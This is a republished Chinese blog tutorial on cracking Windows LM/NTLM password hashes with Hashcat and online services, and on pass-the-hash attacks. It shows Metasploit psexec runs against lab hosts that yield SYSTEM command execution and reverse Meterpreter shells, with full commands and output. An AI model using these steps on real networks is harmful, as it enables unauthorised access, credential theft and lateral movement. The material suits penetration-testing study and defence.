Windows 用户密码的加密方法与破解

艺帆风顺 发布于 2025-04-03 15 次阅读


Windows Hash 利用

Hashcat 破解

拿到 LM 或者 NTLM 的密文时,如果没有明文的时候,最直接的方法当然是直接将其解密啦,这里使用 Hashcat 来进行密码解密,对 Hashcat 这个工具不了解的同学可以参考我写的这篇文章:Hashcat 学习记录

假设我们读取到 Hash 如下:

  • LM : 921988ba001dc8e14a3b108f3fa6cb6d

  • NTLM : e19ccf75ee54e06b06a5907af13cef42

实际上这个明文是:P@ssw0rd

下面用 Hashcat 来简单演示一下破解,这里破解我使用了 -a 0 字典破解,hashcat –help 可以看到 LM 和 NTLM 对应的 hash 编号分别为 3000 和 1000

3000 | LM | Operating Systems
1000 | NTLM | Operating Systems

废话不多说,下面直接走个流程破解一下吧:

Hashcat 破解 LM Hash

hashcat -a 0 -m 3000 --force '921988ba001dc8e14a3b108f3fa6cb6d' password.txt

因为 LM Hash 长度最长是 14 个字符,密码被分成 2 个长度为 7 的字符进行存放,所以这里 Hashcat 破解的时候也是分 2 半部分来分别进行破解的:

4a3b108f3fa6cb6d:D
921988ba001dc8e1:P@SSW0R

Session..........: hashcat
Status...........: Cracked
Hash.Type........: LM
Hash.Target......: 921988ba001dc8e1, 4a3b108f3fa6cb6d
Time.Started.....: Tue Nov 19 00:05:18 2019 (0 secs)
Time.Estimated...: Tue Nov 19 00:05:18 2019 (0 secs)
Guess.Base.......: File (password.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 1291 H/s (0.16ms) @ Accel:32 Loops:1 Thr:64 Vec:1
Speed.#3.........: 0 H/s (0.00ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Speed.#*.........: 1291 H/s
Recovered........: 2/2 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 8/8 (100.00%)
Rejected.........: 0/8 (0.00%)
Restore.Point....: 0/8 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-0 Iteration:0-1
Candidates.#2....: ADMIN -> D
Candidates.#3....: [Copying]

可以看到先破解出了:D,然后破解出了 P@SSW0 比较蛋疼的是 LM Hash 不区分大小写,所以我们还得凭感觉去猜出具体的密码。

Hashcat 破解 NTLM Hash

hashcat -a 0 -m 1000 --force 'e19ccf75ee54e06b06a5907af13cef42' password.txt

破解成功,得到如下结果:

e19ccf75ee54e06b06a5907af13cef42:P@ssw0rd

Session..........: hashcat
Status...........: Cracked
Hash.Type........: NTLM
Hash.Target......: e19ccf75ee54e06b06a5907af13cef42
Time.Started.....: Mon Nov 18 23:44:55 2019 (0 secs)
Time.Estimated...: Mon Nov 18 23:44:55 2019 (0 secs)
Guess.Base.......: File (password.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 0 H/s (0.00ms) @ Accel:64 Loops:1 Thr:64 Vec:1
Speed.#3.........: 985 H/s (0.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Speed.#*.........: 985 H/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 5/5 (100.00%)
Rejected.........: 0/5 (0.00%)
Restore.Point....: 0/5 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-0 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#2....: [Copying]
Candidates.#3....: admin -> P@ssw0rd

在线 Hash 破解

Objectif Sécurité - Ophcrack

一个国外的老牌 Hash 破解网站,填入 NTLM Hash 值即可:

CMD5.com

国内的 CMD5.com 也支持 NTLM 类型的 Hash 破解,直接粘贴进去系统会自动解密,也是比较方便的:

还有其他很多的在线网站就不推荐了,这里就只列举这两个用的比较多的网站。

Hash 传递

简介

PASS THE Hash 也叫 Hash 传递攻击,简称 PTH。模拟用户登录不需要用户明文密码只需要就可以直接用获取到的 Hash 来登录目标系统。

利用成功的前提条件是:

  • 开启 445 端口 SMB 服务

  • 开启 admin$ 共享

这里目标 Windows Server 2008 R2(10.211.55.4)通过 mimikatz 抓取到的 Administrator 用户的 Hash 为:

* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42

通过 QuarksDump 抓取到的 Administrator 用户的 Hash 为:

Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::

经过国光测试,在下面 Hash 传递的时候,只要后面的 NTLM Hash 是正确的,前面填写什么都是可以顺利登陆成功的,经过测试,如下 Hash 可以成功:

AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
921988ba001dc8e14a3b108f3fa6cb6d:E19CCF75EE54E06B06A5907AF13CEF42
00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42
66666666666666666666666666666666:E19CCF75EE54E06B06A5907AF13CEF42

也就是说:E19CCF75EE54E06B06A5907AF13CEF42 部分起到关键的认证作用,前面的只要位数正确,填写啥都没有问题。下面是具体的演示。

Metasploit

Metasploit 下面有 3 个 psexec 模块都可以进行 Hash 传递利用,他们分别是:

# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command

# 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec

# 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh

auxiliary/admin/smb/psexec_command

msf5 > use auxiliary/admin/smb/psexec_command
msf5 auxiliary(admin/smb/psexec_command) > set rhosts 10.211.55.14
rhosts => 10.211.55.14
msf5 auxiliary(admin/smb/psexec_command) > set smbuser administrator
smbuser => administrator
msf5 auxiliary(admin/smb/psexec_command) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 auxiliary(admin/smb/psexec_command) > set command "whoami"
command => whoami
msf5 auxiliary(admin/smb/psexec_command) > run

[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.211.55.14:445 - checking if the file is unlocked
[*] 10.211.55.14:445 - Getting the command output...
[*] 10.211.55.14:445 - Executing cleanup...
[+] 10.211.55.14:445 - Cleanup was successful
[+] 10.211.55.14:445 - Command completed successfully!
[*] 10.211.55.14:445 - Output for "whoami":

nt authoritysystem


[*] 10.211.55.14:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

比较鸡肋的是,这个模块不支持网段格式批量验证,所以实战中可以考虑下面两个模块

exploit/windows/smb/psexec

支持网段格式的 IP,方便批量验证 PTH,下面是单个验证过程:

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 10.211.55.14
rhosts => 10.211.55.14
msf5 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf5 exploit(windows/smb/psexec) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 exploit(windows/smb/psexec) > set lhost 10.211.55.4
lhost => 10.211.55.4
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.211.55.4:4444
[*] 10.211.55.14:445 - Connecting to the server...
[*] 10.211.55.14:445 - Authenticating to 10.211.55.14:445 as user 'administrator'...
[*] 10.211.55.14:445 - Selecting PowerShell target
[*] 10.211.55.14:445 - Executing the payload...
[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.211.55.14
[*] Meterpreter session 2 opened (10.211.55.4:4444 -> 10.211.55.14:49168) at 2019-11-24 23:42:38 +0800

meterpreter >

下面网段批量验证效果,在内网当做这样验证还是比较实用高效的:

关于前面 32 位的 Hash 不起作用的疑问,去 T00ls 论坛提问了,下面是师傅们的解答:

iceword:前面是 lm hash,lm hash 已经被弃用了,不用来验证,所以添啥都行

Hello_C:NTLM Hash = LM Hash + NT Hash,LM Hash 是 aad3b435b51404eeaad3b435b51404ee 时,可能密码为空或者没有存储 lm hash,2008 默认不存储 lm hash。pth 用 nt hash,有些工具可能需要 lm hash:nt hash 格式,没有 lm hash 可以使用任意 32 个字符填充。

安全客:如果空密码或者不储蓄 LM Hash 的话,我们抓到的 LM Hash 是 AAD3B435B51404EEAAD3B435B51404EE。所以在 win7 中我们看到抓到 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,这里的 LM Hash 并没有价值。

exploit/windows/smb/psexec_psh

msf5 > use exploit/windows/smb/psexec_psh
msf5 exploit(windows/smb/psexec_psh) > set rhosts 10.211.55.14
rhosts => 10.211.55.14
msf5 exploit(windows/smb/psexec_psh) > set smbuser administrator
smbuser => administrator
msf5 exploit(windows/smb/psexec_psh) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42
msf5 exploit(windows/smb/psexec_psh) > set lhost 10.211.55.4
lhost => 10.211.55.4
msf5 exploit(windows/smb/psexec_psh) > run

[*] Started reverse TCP handler on 10.211.55.4:4444
[*] 10.211.55.14:445 - Executing the payload...
[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.211.55.14
[*] Meterpreter session 3 opened (10.211.55.4:4444 -> 10.211.55.14:49169) at 2019-11-24 23:44:12 +0800

meterpreter >

这个模块也支持网段批量验证,这里就不再赘述了。

类似于的 CS 也有 Hash 传递模块,用法大同小异,这里就不再赘述了,感兴趣的朋友可以自行去实践尝试一下。


版权声明:本文内容始发于个人博客>作者 : 国光,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行可。始发链接:https://www.sqlsec.com/2019/11/winhash.html#Windows-Hash-%E5%88%A9%E7%94%A8在此特别鸣谢:个人博主>国光的创作。本文已获原作者国光授权发布在本公众号;原作者已在本公众号关联运营账号(安全小姿势),故在此声明本文原创为国光(安全小姿势)。此篇文章的所有版权归原作者所有,商业转载建议请联系原作者,非商业转载请注明出处。